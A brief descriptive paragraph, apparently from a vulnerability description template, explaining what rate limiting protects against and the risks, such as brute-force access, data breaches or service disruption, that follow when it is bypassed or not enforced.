Descriptions:
Rate limiting is implemented in web applications and APIs to prevent
abuse, such as brute-force attacks or excessive requests that could
lead to resource exhaustion. When a rate limit is bypassed or not
properly enforced, it opens the door for attackers to carry out
malicious activities more quickly than intended, potentially leading
to unauthorized access, data breaches, or service disruption.
